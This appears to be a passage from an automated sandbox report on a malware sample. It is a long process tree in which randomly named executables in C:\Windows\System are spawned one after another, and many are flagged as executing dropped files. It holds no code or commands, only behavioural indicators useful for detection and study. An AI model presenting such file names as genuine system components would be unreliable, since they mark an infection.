- C:\Windows\System\EeqpmNb.exe
  C:\Windows\System\EeqpmNb.exe
  2⤵
  - Executes dropped EXE
  PID:3312
- C:\Windows\System\BHEUhoP.exe
  C:\Windows\System\BHEUhoP.exe
  2⤵
  - Executes dropped EXE
  PID:3120
- C:\Windows\System\DqcWraw.exe
  C:\Windows\System\DqcWraw.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\neNevsM.exe
  C:\Windows\System\neNevsM.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\SIwmbSP.exe
  C:\Windows\System\SIwmbSP.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\ngUrgFp.exe
  C:\Windows\System\ngUrgFp.exe
  2⤵
  - Executes dropped EXE
  PID:1320
- C:\Windows\System\TieiIXq.exe
  C:\Windows\System\TieiIXq.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\DMTkMOH.exe
  C:\Windows\System\DMTkMOH.exe
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Windows\System\hQLRdfa.exe
  C:\Windows\System\hQLRdfa.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\iMZapqp.exe
  C:\Windows\System\iMZapqp.exe
  2⤵
  - Executes dropped EXE
  PID:3880
- C:\Windows\System\wJrYnzs.exe
  C:\Windows\System\wJrYnzs.exe
  2⤵
  - Executes dropped EXE
  PID:3100
- C:\Windows\System\LWWVDIG.exe
  C:\Windows\System\LWWVDIG.exe
  2⤵
  - Executes dropped EXE
  PID:4688
- C:\Windows\System\XzAGObB.exe
  C:\Windows\System\XzAGObB.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\yRcecAv.exe
  C:\Windows\System\yRcecAv.exe
  2⤵
  - Executes dropped EXE
  PID:3728
- C:\Windows\System\PmghCyh.exe
  C:\Windows\System\PmghCyh.exe
  2⤵
  - Executes dropped EXE
  PID:744
- C:\Windows\System\IXFaTEH.exe
  C:\Windows\System\IXFaTEH.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\eGKehly.exe
  C:\Windows\System\eGKehly.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\tTIdHTU.exe
  C:\Windows\System\tTIdHTU.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\CvHLzQI.exe
  C:\Windows\System\CvHLzQI.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\QEcDkgt.exe
  C:\Windows\System\QEcDkgt.exe
  2⤵
  - Executes dropped EXE
  PID:3164
- C:\Windows\System\kYfuQbx.exe
  C:\Windows\System\kYfuQbx.exe
  2⤵
  - Executes dropped EXE
  PID:3188
- C:\Windows\System\wDraVxS.exe
  C:\Windows\System\wDraVxS.exe
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Windows\System\bnLIWpK.exe
  C:\Windows\System\bnLIWpK.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\PblGktI.exe
  C:\Windows\System\PblGktI.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\HjIoGIt.exe
  C:\Windows\System\HjIoGIt.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\gmBvGsT.exe
  C:\Windows\System\gmBvGsT.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\TWcQUaq.exe
  C:\Windows\System\TWcQUaq.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\srnpgJQ.exe
  C:\Windows\System\srnpgJQ.exe
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\System\pLAvvKk.exe
  C:\Windows\System\pLAvvKk.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\QqgunyR.exe
  C:\Windows\System\QqgunyR.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\sSAiqSN.exe
  C:\Windows\System\sSAiqSN.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\XgWBZOo.exe
  C:\Windows\System\XgWBZOo.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\AeoyZoY.exe
  C:\Windows\System\AeoyZoY.exe
  2⤵
  - Executes dropped EXE
  PID:3520
- C:\Windows\System\TvxIpDS.exe
  C:\Windows\System\TvxIpDS.exe
  2⤵
  - Executes dropped EXE
  PID:3688
- C:\Windows\System\EhTRkrN.exe
  C:\Windows\System\EhTRkrN.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\wMxPzPu.exe
  C:\Windows\System\wMxPzPu.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\zDnlcjE.exe
  C:\Windows\System\zDnlcjE.exe
  2⤵
  - Executes dropped EXE
  PID:4516
- C:\Windows\System\CgPhCxO.exe
  C:\Windows\System\CgPhCxO.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\rZfBeXa.exe
  C:\Windows\System\rZfBeXa.exe
  2⤵
  - Executes dropped EXE
  PID:4628
- C:\Windows\System\FfGZBcp.exe
  C:\Windows\System\FfGZBcp.exe
  2⤵
  - Executes dropped EXE
  PID:4556
- C:\Windows\System\hSsnDyS.exe
  C:\Windows\System\hSsnDyS.exe
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Windows\System\brsAXFQ.exe
  C:\Windows\System\brsAXFQ.exe
  2⤵
  - Executes dropped EXE
  PID:4192
- C:\Windows\System\lpLScyq.exe
  C:\Windows\System\lpLScyq.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Windows\System\iSctwoN.exe
  C:\Windows\System\iSctwoN.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\txeihFo.exe
  C:\Windows\System\txeihFo.exe
  2⤵
  - Executes dropped EXE
  PID:4072
- C:\Windows\System\jhdEXhJ.exe
  C:\Windows\System\jhdEXhJ.exe
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\System\Lpisgil.exe
  C:\Windows\System\Lpisgil.exe
  2⤵
  - Executes dropped EXE
  PID:4608
- C:\Windows\System\JzlgdZP.exe
  C:\Windows\System\JzlgdZP.exe
  2⤵
  - Executes dropped EXE
  PID:4372
- C:\Windows\System\TfzlAHk.exe
  C:\Windows\System\TfzlAHk.exe
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Windows\System\VYJrpOa.exe
  C:\Windows\System\VYJrpOa.exe
  2⤵
  - Executes dropped EXE
  PID:372
- C:\Windows\System\wciACWr.exe
  C:\Windows\System\wciACWr.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\nWGvKag.exe
  C:\Windows\System\nWGvKag.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\HWdlEfu.exe
  C:\Windows\System\HWdlEfu.exe
  2⤵
  PID:592
- C:\Windows\System\CpNCLRG.exe
  C:\Windows\System\CpNCLRG.exe
  2⤵
  PID:1948
- C:\Windows\System\ZYlJcvq.exe
  C:\Windows\System\ZYlJcvq.exe
  2⤵
  PID:1108
- C:\Windows\System\xwriHVR.exe
  C:\Windows\System\xwriHVR.exe
  2⤵
  PID:1308
- C:\Windows\System\tuIHUTE.exe
  C:\Windows\System\tuIHUTE.exe
  2⤵
  PID:3008
- C:\Windows\System\SrEJjpt.exe
  C:\Windows\System\SrEJjpt.exe
  2⤵
  PID:1560
- C:\Windows\System\kVGfDwi.exe
  C:\Windows\System\kVGfDwi.exe
  2⤵
  PID:4420
- C:\Windows\System\QHiCrbg.exe
  C:\Windows\System\QHiCrbg.exe
  2⤵
  PID:5044
- C:\Windows\System\MYpAVkQ.exe
  C:\Windows\System\MYpAVkQ.exe
  2⤵
  PID:3768
- C:\Windows\System\XKODoTo.exe
  C:\Windows\System\XKODoTo.exe
  2⤵
  PID:3872
- C:\Windows\System\PPRygPY.exe
  C:\Windows\System\PPRygPY.exe
  2⤵
  PID:2868
- C:\Windows\System\iVuCOgX.exe
  C:\Windows\System\iVuCOgX.exe
  2⤵
  PID:3116
- C:\Windows\System\EGozMtF.exe
  C:\Windows\System\EGozMtF.exe
  2⤵
  PID:4348
- C:\Windows\System\iBCNqbz.exe
  C:\Windows\System\iBCNqbz.exe
  2⤵
  PID:5108
- C:\Windows\System\arwFweN.exe
  C:\Windows\System\arwFweN.exe
  2⤵
  PID:1048
- C:\Windows\System\DZQIPVt.exe
  C:\Windows\System\DZQIPVt.exe
  2⤵
  PID:3168
- C:\Windows\System\QQmdZDh.exe
  C:\Windows\System\QQmdZDh.exe
  2⤵
  PID:5152
- C:\Windows\System\cudpBRp.exe
  C:\Windows\System\cudpBRp.exe
  2⤵
  PID:5172
- C:\Windows\System\OvXuOyH.exe
  C:\Windows\System\OvXuOyH.exe
  2⤵
  PID:5216
- C:\Windows\System\mMTcCtT.exe
  C:\Windows\System\mMTcCtT.exe
  2⤵
  PID:5236
- C:\Windows\System\SLkPKnD.exe
  C:\Windows\System\SLkPKnD.exe
  2⤵
  PID:5260
- C:\Windows\System\wDIvgeC.exe
  C:\Windows\System\wDIvgeC.exe
  2⤵
  PID:5284
- C:\Windows\System\mqvNIej.exe
  C:\Windows\System\mqvNIej.exe
  2⤵
  PID:5308
- C:\Windows\System\DyjWoVE.exe
  C:\Windows\System\DyjWoVE.exe
  2⤵
  PID:5340
- C:\Windows\System\hPnEZCX.exe
  C:\Windows\System\hPnEZCX.exe
  2⤵
  PID:5396
- C:\Windows\System\xWNtAGy.exe
  C:\Windows\System\xWNtAGy.exe
  2⤵
  PID:5436
- C:\Windows\System\hWmJxjK.exe
  C:\Windows\System\hWmJxjK.exe
  2⤵
  PID:5480
- C:\Windows\System\hQwMhtU.exe
  C:\Windows\System\hQwMhtU.exe
  2⤵
  PID:5512
- C:\Windows\System\oPyFcIN.exe
  C:\Windows\System\oPyFcIN.exe
  2⤵
  PID:5556
- C:\Windows\System\jLnrblc.exe
  C:\Windows\System\jLnrblc.exe
  2⤵
  PID:5584
- C:\Windows\System\ganmGRs.exe
  C:\Windows\System\ganmGRs.exe
  2⤵
  PID:5628
- C:\Windows\System\qcUKPuu.exe
  C:\Windows\System\qcUKPuu.exe
  2⤵
  PID:5676
- C:\Windows\System\cEnkiMr.exe
  C:\Windows\System\cEnkiMr.exe
  2⤵
  PID:5704
- C:\Windows\System\qZYnUNV.exe
  C:\Windows\System\qZYnUNV.exe
  2⤵
  PID:5732
- C:\Windows\System\kemiBbm.exe
  C:\Windows\System\kemiBbm.exe
  2⤵
  PID:5764
- C:\Windows\System\hchDAdz.exe
  C:\Windows\System\hchDAdz.exe
  2⤵
  PID:5872
- C:\Windows\System\TVINAHN.exe
  C:\Windows\System\TVINAHN.exe
  2⤵
  PID:5892
- C:\Windows\System\jIiTZvQ.exe
  C:\Windows\System\jIiTZvQ.exe
  2⤵
  PID:5916
- C:\Windows\System\TraBLyr.exe
  C:\Windows\System\TraBLyr.exe
  2⤵
  PID:5932
- C:\Windows\System\YKYJgvO.exe
  C:\Windows\System\YKYJgvO.exe
  2⤵
  PID:5952
- C:\Windows\System\WLWRAjH.exe
  C:\Windows\System\WLWRAjH.exe
  2⤵
  PID:5992
- C:\Windows\System\kMCRqaM.exe
  C:\Windows\System\kMCRqaM.exe
  2⤵
  PID:6012
- C:\Windows\System\jrrGksy.exe
  C:\Windows\System\jrrGksy.exe
  2⤵
  PID:6032
- C:\Windows\System\rOHisjK.exe
  C:\Windows\System\rOHisjK.exe
  2⤵
  PID:6048
- C:\Windows\System\RTQsCwe.exe
  C:\Windows\System\RTQsCwe.exe
  2⤵
  PID:6072
- C:\Windows\System\Eciiypz.exe
  C:\Windows\System\Eciiypz.exe
  2⤵
  PID:6112
- C:\Windows\System\QLlbnMZ.exe
  C:\Windows\System\QLlbnMZ.exe
  2⤵
  PID:6132
- C:\Windows\System\ZrkTwdJ.exe
  C:\Windows\System\ZrkTwdJ.exe
  2⤵
  PID:1784
- C:\Windows\System\WAHAIGx.exe
  C:\Windows\System\WAHAIGx.exe
  2⤵
  PID:1660
- C:\Windows\System\ZIKjiwi.exe
  C:\Windows\System\ZIKjiwi.exe
  2⤵
  PID:464
- C:\Windows\System\gYiaYod.exe
  C:\Windows\System\gYiaYod.exe
  2⤵
  PID:2312
- C:\Windows\System\BnMRSIY.exe
  C:\Windows\System\BnMRSIY.exe
  2⤵
  PID:220
- C:\Windows\System\qlKwBuJ.exe
  C:\Windows\System\qlKwBuJ.exe
  2⤵
  PID:3624
- C:\Windows\System\WCwUIWf.exe
  C:\Windows\System\WCwUIWf.exe
  2⤵
  PID:4848
- C:\Windows\System\iwCopVm.exe
  C:\Windows\System\iwCopVm.exe
  2⤵
  PID:5056
- C:\Windows\System\ZHvyMwH.exe
  C:\Windows\System\ZHvyMwH.exe
  2⤵
  PID:3504
- C:\Windows\System\ybpFlwm.exe
  C:\Windows\System\ybpFlwm.exe
  2⤵
  PID:5128
- C:\Windows\System\OCGhrgG.exe
  C:\Windows\System\OCGhrgG.exe
  2⤵
  PID:5180
- C:\Windows\System\tkgLkwT.exe
  C:\Windows\System\tkgLkwT.exe
  2⤵
  PID:5208
- C:\Windows\System\ZXfwXqk.exe
  C:\Windows\System\ZXfwXqk.exe
  2⤵
  PID:5268
- C:\Windows\System\fixMpFH.exe
  C:\Windows\System\fixMpFH.exe
  2⤵
  PID:5496
- C:\Windows\System\mrXidri.exe
  C:\Windows\System\mrXidri.exe
  2⤵
  PID:5528
- C:\Windows\System\PUvXjaF.exe
  C:\Windows\System\PUvXjaF.exe
  2⤵
  PID:5360
- C:\Windows\System\FaecfhO.exe
  C:\Windows\System\FaecfhO.exe
  2⤵
  PID:5384
- C:\Windows\System\zzLjsKi.exe
  C:\Windows\System\zzLjsKi.exe
  2⤵
  PID:5328
- C:\Windows\System\GhVchPo.exe
  C:\Windows\System\GhVchPo.exe
  2⤵
  PID:5592
- C:\Windows\System\wxrryXP.exe
  C:\Windows\System\wxrryXP.exe
  2⤵
  PID:5392
- C:\Windows\System\MuBPunu.exe
  C:\Windows\System\MuBPunu.exe
  2⤵
  PID:5532
- C:\Windows\System\ZztqDLs.exe
  C:\Windows\System\ZztqDLs.exe
  2⤵
  PID:5816
- C:\Windows\System\nGuAUTB.exe
  C:\Windows\System\nGuAUTB.exe
  2⤵
  PID:5748
- C:\Windows\System\AIcCujv.exe
  C:\Windows\System\AIcCujv.exe
  2⤵
  PID:5784
- C:\Windows\System\XQxeuEN.exe
  C:\Windows\System\XQxeuEN.exe
  2⤵
  PID:5904
- C:\Windows\System\kHnWtcU.exe
  C:\Windows\System\kHnWtcU.exe
  2⤵
  PID:5820
- C:\Windows\System\nTRcgYB.exe
  C:\Windows\System\nTRcgYB.exe
  2⤵
  PID:6024
- C:\Windows\System\jvhRnCi.exe
  C:\Windows\System\jvhRnCi.exe
  2⤵
  PID:6124
- C:\Windows\System\dOXZhGm.exe
  C:\Windows\System\dOXZhGm.exe
  2⤵
  PID:6140
- C:\Windows\System\cdWGoIi.exe
  C:\Windows\System\cdWGoIi.exe
  2⤵
  PID:1296
- C:\Windows\System\lISArhp.exe
  C:\Windows\System\lISArhp.exe
  2⤵
  PID:5968
- C:\Windows\System\jCbaRRj.exe
  C:\Windows\System\jCbaRRj.exe
  2⤵
  PID:5848
- C:\Windows\System\EkDXaDR.exe
  C:\Windows\System\EkDXaDR.exe
  2⤵
  PID:2108
- C:\Windows\System\gHAEHPc.exe
  C:\Windows\System\gHAEHPc.exe
  2⤵
  PID:5364
- C:\Windows\System\ZIDQwCd.exe
  C:\Windows\System\ZIDQwCd.exe
  2⤵
  PID:5256
- C:\Windows\System\REgobCa.exe
  C:\Windows\System\REgobCa.exe
  2⤵
  PID:5316
- C:\Windows\System\ohybcDA.exe
  C:\Windows\System\ohybcDA.exe
  2⤵
  PID:5380
- C:\Windows\System\slTWBAw.exe
  C:\Windows\System\slTWBAw.exe
  2⤵
  PID:5712
- C:\Windows\System\Zkdjgtw.exe
  C:\Windows\System\Zkdjgtw.exe
  2⤵
  PID:5608
- C:\Windows\System\aIlclpI.exe
  C:\Windows\System\aIlclpI.exe
  2⤵
  PID:5444
- C:\Windows\System\gZknsJN.exe
  C:\Windows\System\gZknsJN.exe
  2⤵
  PID:5448
- C:\Windows\System\yfxwZGK.exe
  C:\Windows\System\yfxwZGK.exe
  2⤵
  PID:6152
- C:\Windows\System\wSjMGLp.exe
  C:\Windows\System\wSjMGLp.exe
  2⤵
  PID:6176
- C:\Windows\System\rtZWLym.exe
  C:\Windows\System\rtZWLym.exe
  2⤵
  PID:6200
- C:\Windows\System\xcaUHNP.exe
  C:\Windows\System\xcaUHNP.exe
  2⤵
  PID:6216
- C:\Windows\System\yQXxkpX.exe
  C:\Windows\System\yQXxkpX.exe
  2⤵
  PID:6244
- C:\Windows\System\XdsgLGF.exe
  C:\Windows\System\XdsgLGF.exe
  2⤵
  PID:6276
- C:\Windows\System\lOKwBXw.exe
  C:\Windows\System\lOKwBXw.exe
  2⤵
  PID:6300
- C:\Windows\System\YAtZpuO.exe
  C:\Windows\System\YAtZpuO.exe
  2⤵
  PID:6316
- C:\Windows\System\FuyNApS.exe
  C:\Windows\System\FuyNApS.exe
  2⤵
  PID:6344
- C:\Windows\System\jPSROPc.exe
  C:\Windows\System\jPSROPc.exe
  2⤵
  PID:6364
- C:\Windows\System\JZmJqNz.exe
  C:\Windows\System\JZmJqNz.exe
  2⤵
  PID:6384
- C:\Windows\System\eLMGJlq.exe
  C:\Windows\System\eLMGJlq.exe
  2⤵
  PID:6416
- C:\Windows\System\oFOmpfD.exe
  C:\Windows\System\oFOmpfD.exe
  2⤵
  PID:6436
- C:\Windows\System\lcZBtjO.exe
  C:\Windows\System\lcZBtjO.exe
  2⤵
  PID:6460
- C:\Windows\System\mtDVRNE.exe
  C:\Windows\System\mtDVRNE.exe
  2⤵
  PID:6480
- C:\Windows\System\tFhVWHK.exe
  C:\Windows\System\tFhVWHK.exe
  2⤵
  PID:6524
- C:\Windows\System\tUbIpTb.exe
  C:\Windows\System\tUbIpTb.exe
  2⤵
  PID:6552
- C:\Windows\System\IVOsjsX.exe
  C:\Windows\System\IVOsjsX.exe
  2⤵
  PID:6572
- C:\Windows\System\iPokplO.exe
  C:\Windows\System\iPokplO.exe
  2⤵
  PID:6592
- C:\Windows\System\tSYnqVK.exe
  C:\Windows\System\tSYnqVK.exe
  2⤵
  PID:6612
- C:\Windows\System\XgFIJBT.exe
  C:\Windows\System\XgFIJBT.exe
  2⤵
  PID:6636
- C:\Windows\System\miHrPfl.exe
  C:\Windows\System\miHrPfl.exe
  2⤵
  PID:6652
- C:\Windows\System\uvGzmdJ.exe
  C:\Windows\System\uvGzmdJ.exe
  2⤵
  PID:6676
- C:\Windows\System\KCghMwS.exe
  C:\Windows\System\KCghMwS.exe
  2⤵
  PID:6696
- C:\Windows\System\jXelUEi.exe
  C:\Windows\System\jXelUEi.exe
  2⤵
  PID:6716
- C:\Windows\System\snzHrIR.exe
  C:\Windows\System\snzHrIR.exe
  2⤵
  PID:6744
- C:\Windows\System\efObXPY.exe
  C:\Windows\System\efObXPY.exe
  2⤵
  PID:6760
- C:\Windows\System\bRtHmIz.exe
  C:\Windows\System\bRtHmIz.exe
  2⤵
  PID:6796
- C:\Windows\System\QqBuVpP.exe
  C:\Windows\System\QqBuVpP.exe
  2⤵
  PID:6812
- C:\Windows\System\Iccwarj.exe
  C:\Windows\System\Iccwarj.exe
  2⤵
  PID:6836
- C:\Windows\System\dRwJDnD.exe
  C:\Windows\System\dRwJDnD.exe
  2⤵
  PID:6860
- C:\Windows\System\YovELuc.exe
  C:\Windows\System\YovELuc.exe
  2⤵
  PID:6880
- C:\Windows\System\qDeKZTJ.exe
  C:\Windows\System\qDeKZTJ.exe
  2⤵
  PID:6896
- C:\Windows\System\JuReuFX.exe
  C:\Windows\System\JuReuFX.exe
  2⤵
  PID:6920
- C:\Windows\System\srAvqXt.exe
  C:\Windows\System\srAvqXt.exe
  2⤵
  PID:6936
- C:\Windows\System\cdQyQaj.exe
  C:\Windows\System\cdQyQaj.exe
  2⤵
  PID:6968
- C:\Windows\System\zJkhJBx.exe
  C:\Windows\System\zJkhJBx.exe
  2⤵
  PID:6992
- C:\Windows\System\NEANpEX.exe
  C:\Windows\System\NEANpEX.exe
  2⤵
  PID:7012
- C:\Windows\System\dZsospA.exe
  C:\Windows\System\dZsospA.exe
  2⤵
  PID:7028
- C:\Windows\System\jpoBOec.exe
  C:\Windows\System\jpoBOec.exe
  2⤵
  PID:7052
- C:\Windows\System\uWgLYAE.exe
  C:\Windows\System\uWgLYAE.exe
  2⤵
  PID:7072
- C:\Windows\System\ddWXZka.exe
  C:\Windows\System\ddWXZka.exe
  2⤵
  PID:7104
- C:\Windows\System\reNSWVC.exe
  C:\Windows\System\reNSWVC.exe
  2⤵
  PID:7124
- C:\Windows\System\aRqeERL.exe
  C:\Windows\System\aRqeERL.exe
  2⤵
  PID:7152
- C:\Windows\System\OsXJpMA.exe
  C:\Windows\System\OsXJpMA.exe
  2⤵
  PID:5740
- C:\Windows\System\unPWKTp.exe
  C:\Windows\System\unPWKTp.exe
  2⤵
  PID:6088
- C:\Windows\System\tygGgDS.exe
  C:\Windows\System\tygGgDS.exe
  2⤵
  PID:4936
- C:\Windows\System\yFlDzSF.exe
  C:\Windows\System\yFlDzSF.exe
  2⤵
  PID:1836
- C:\Windows\System\qXDzCgB.exe
  C:\Windows\System\qXDzCgB.exe
  2⤵
  PID:4896
- C:\Windows\System\zUNpTOB.exe
  C:\Windows\System\zUNpTOB.exe
  2⤵
  PID:5144
- C:\Windows\System\ezCllzM.exe
  C:\Windows\System\ezCllzM.exe
  2⤵
  PID:5212
- C:\Windows\System\uBXDAzu.exe
  C:\Windows\System\uBXDAzu.exe
  2⤵
  PID:5320
- C:\Windows\System\IUSxuYT.exe
  C:\Windows\System\IUSxuYT.exe
  2⤵
  PID:4980
- C:\Windows\System\XquqZGz.exe
  C:\Windows\System\XquqZGz.exe
  2⤵
  PID:5504
- C:\Windows\System\uPdyeIC.exe
  C:\Windows\System\uPdyeIC.exe
  2⤵
  PID:5856
- C:\Windows\System\JOgfWjZ.exe
  C:\Windows\System\JOgfWjZ.exe
  2⤵
  PID:6232
- C:\Windows\System\nTQIVsk.exe
  C:\Windows\System\nTQIVsk.exe
  2⤵
  PID:6268
- C:\Windows\System\axezBNs.exe
  C:\Windows\System\axezBNs.exe
  2⤵
  PID:6308
- C:\Windows\System\FsDlysI.exe
  C:\Windows\System\FsDlysI.exe
  2⤵
  PID:6376
- C:\Windows\System\zMVBfsS.exe
  C:\Windows\System\zMVBfsS.exe
  2⤵
  PID:3440
- C:\Windows\System\pmaSKvw.exe
  C:\Windows\System\pmaSKvw.exe
  2⤵
  PID:6500
- C:\Windows\System\zCiersr.exe
  C:\Windows\System\zCiersr.exe
  2⤵
  PID:5200
- C:\Windows\System\UbqLyLN.exe
  C:\Windows\System\UbqLyLN.exe
  2⤵
  PID:6540
- C:\Windows\System\lYrZRiW.exe
  C:\Windows\System\lYrZRiW.exe
  2⤵
  PID:6564
- C:\Windows\System\AOiPdct.exe
  C:\Windows\System\AOiPdct.exe
  2⤵
  PID:6064
- C:\Windows\System\TCXsNVv.exe
  C:\Windows\System\TCXsNVv.exe
  2⤵
  PID:6608
- C:\Windows\System\SvdgybZ.exe
  C:\Windows\System\SvdgybZ.exe
  2⤵
  PID:6644
- C:\Windows\System\KZGgodC.exe
  C:\Windows\System\KZGgodC.exe
  2⤵
  PID:6380
- C:\Windows\System\HVhOzzs.exe
  C:\Windows\System\HVhOzzs.exe
  2⤵
  PID:6904
- C:\Windows\System\BJtoYaC.exe
  C:\Windows\System\BJtoYaC.exe
  2⤵
  PID:7184
- C:\Windows\System\EsgcoQC.exe
  C:\Windows\System\EsgcoQC.exe
  2⤵
  PID:7204
- C:\Windows\System\GvTplbx.exe
  C:\Windows\System\GvTplbx.exe
  2⤵
  PID:7224
- C:\Windows\System\xxMkKhT.exe
  C:\Windows\System\xxMkKhT.exe
  2⤵
  PID:7252
- C:\Windows\System\wsGUdyx.exe
  C:\Windows\System\wsGUdyx.exe
  2⤵
  PID:7268
- C:\Windows\System\enHMqqK.exe
  C:\Windows\System\enHMqqK.exe
  2⤵
  PID:7296
- C:\Windows\System\FUSltNK.exe
  C:\Windows\System\FUSltNK.exe
  2⤵
  PID:7332
- C:\Windows\System\suFgkSE.exe
  C:\Windows\System\suFgkSE.exe
  2⤵
  PID:7348
- C:\Windows\System\pygbMZK.exe
  C:\Windows\System\pygbMZK.exe
  2⤵
  PID:7364
- C:\Windows\System\zKbXvQX.exe
  C:\Windows\System\zKbXvQX.exe
  2⤵
  PID:7380
- C:\Windows\System\GksmmBh.exe
  C:\Windows\System\GksmmBh.exe
  2⤵
  PID:7408
- C:\Windows\System\inzrOTQ.exe
  C:\Windows\System\inzrOTQ.exe
  2⤵
  PID:7432
- C:\Windows\System\hOWYXzE.exe
  C:\Windows\System\hOWYXzE.exe
  2⤵
  PID:7452
- C:\Windows\System\uLdlcHA.exe
  C:\Windows\System\uLdlcHA.exe
  2⤵
  PID:7476
- C:\Windows\System\hDruxVr.exe
  C:\Windows\System\hDruxVr.exe
  2⤵
  PID:7496
- C:\Windows\System\JdEHacD.exe
  C:\Windows\System\JdEHacD.exe
  2⤵
  PID:7516
- C:\Windows\System\niSaMUE.exe
  C:\Windows\System\niSaMUE.exe
  2⤵
  PID:7544
- C:\Windows\System\rZtSqCb.exe
  C:\Windows\System\rZtSqCb.exe
  2⤵
  PID:7560
- C:\Windows\System\vAirxNI.exe
  C:\Windows\System\vAirxNI.exe
  2⤵
  PID:7584
- C:\Windows\System\OYwtgep.exe
  C:\Windows\System\OYwtgep.exe
  2⤵
  PID:7608
- C:\Windows\System\HPFeLmY.exe
  C:\Windows\System\HPFeLmY.exe
  2⤵
  PID:7628
- C:\Windows\System\PBYexAq.exe
  C:\Windows\System\PBYexAq.exe
  2⤵
  PID:7648
- C:\Windows\System\UxRMbIk.exe
  C:\Windows\System\UxRMbIk.exe
  2⤵
  PID:7680
- C:\Windows\System\lAqsMsN.exe
  C:\Windows\System\lAqsMsN.exe
  2⤵
  PID:7700
- C:\Windows\System\DfqyIgN.exe
  C:\Windows\System\DfqyIgN.exe
  2⤵
  PID:7728
- C:\Windows\System\uPNhEVt.exe
  C:\Windows\System\uPNhEVt.exe
  2⤵
  PID:7744
- C:\Windows\System\PlUqjyk.exe
  C:\Windows\System\PlUqjyk.exe
  2⤵
  PID:7772
- C:\Windows\System\ggnmRqS.exe
  C:\Windows\System\ggnmRqS.exe
  2⤵
  PID:7792
- C:\Windows\System\lqJIvcG.exe
  C:\Windows\System\lqJIvcG.exe
  2⤵
  PID:7812
- C:\Windows\System\KuBnaNS.exe
  C:\Windows\System\KuBnaNS.exe
  2⤵
  PID:7836
- C:\Windows\System\MBsKiWL.exe
  C:\Windows\System\MBsKiWL.exe
  2⤵
  PID:7856
- C:\Windows\System\TsZuXam.exe
  C:\Windows\System\TsZuXam.exe
  2⤵
  PID:7876
- C:\Windows\System\WqMaOAa.exe
  C:\Windows\System\WqMaOAa.exe
  2⤵
  PID:7900
- C:\Windows\System\BMzMtkY.exe
  C:\Windows\System\BMzMtkY.exe
  2⤵
  PID:7916
- C:\Windows\System\dISQngN.exe
  C:\Windows\System\dISQngN.exe
  2⤵
  PID:7940
- C:\Windows\System\vqsWMmr.exe
  C:\Windows\System\vqsWMmr.exe
  2⤵
  PID:7972
- C:\Windows\System\UEcuwqU.exe
  C:\Windows\System\UEcuwqU.exe
  2⤵
  PID:7988
- C:\Windows\System\eOdFFEV.exe
  C:\Windows\System\eOdFFEV.exe
  2⤵
  PID:8008
- C:\Windows\System\fWarLiu.exe
  C:\Windows\System\fWarLiu.exe
  2⤵
  PID:8028
- C:\Windows\System\roTWFrH.exe
  C:\Windows\System\roTWFrH.exe
  2⤵
  PID:8056
- C:\Windows\System\LVXDIUz.exe
  C:\Windows\System\LVXDIUz.exe
  2⤵
  PID:8072
- C:\Windows\System\pFsePeR.exe
  C:\Windows\System\pFsePeR.exe
  2⤵
  PID:8100
- C:\Windows\System\FynkmmA.exe
  C:\Windows\System\FynkmmA.exe
  2⤵
  PID:8124
- C:\Windows\System\yAfvvAG.exe
  C:\Windows\System\yAfvvAG.exe
  2⤵
  PID:8144
- C:\Windows\System\MBewnOc.exe
  C:\Windows\System\MBewnOc.exe
  2⤵
  PID:8164
- C:\Windows\System\mKAVdGw.exe
  C:\Windows\System\mKAVdGw.exe
  2⤵
  PID:8188
- C:\Windows\System\JZCrPYw.exe
  C:\Windows\System\JZCrPYw.exe
  2⤵
  PID:5524
- C:\Windows\System\grPZORf.exe
  C:\Windows\System\grPZORf.exe
  2⤵
  PID:2284
- C:\Windows\System\iZhLecj.exe
  C:\Windows\System\iZhLecj.exe
  2⤵
  PID:4932
- C:\Windows\System\chmUgXj.exe
  C:\Windows\System\chmUgXj.exe
  2⤵
  PID:6196
- C:\Windows\System\rYCHZdj.exe
  C:\Windows\System\rYCHZdj.exe
  2⤵
  PID:6288
- C:\Windows\System\vgwUXzR.exe
  C:\Windows\System\vgwUXzR.exe
  2⤵
  PID:6324
- C:\Windows\System\sOLgvWp.exe
  C:\Windows\System\sOLgvWp.exe
  2⤵
  PID:6960
- C:\Windows\System\MsLAHoW.exe
  C:\Windows\System\MsLAHoW.exe
  2⤵
  PID:6588
- C:\Windows\System\BZTVWaF.exe
  C:\Windows\System\BZTVWaF.exe
  2⤵
  PID:6708
- C:\Windows\System\fzrmuIz.exe
  C:\Windows\System\fzrmuIz.exe
  2⤵
  PID:7248
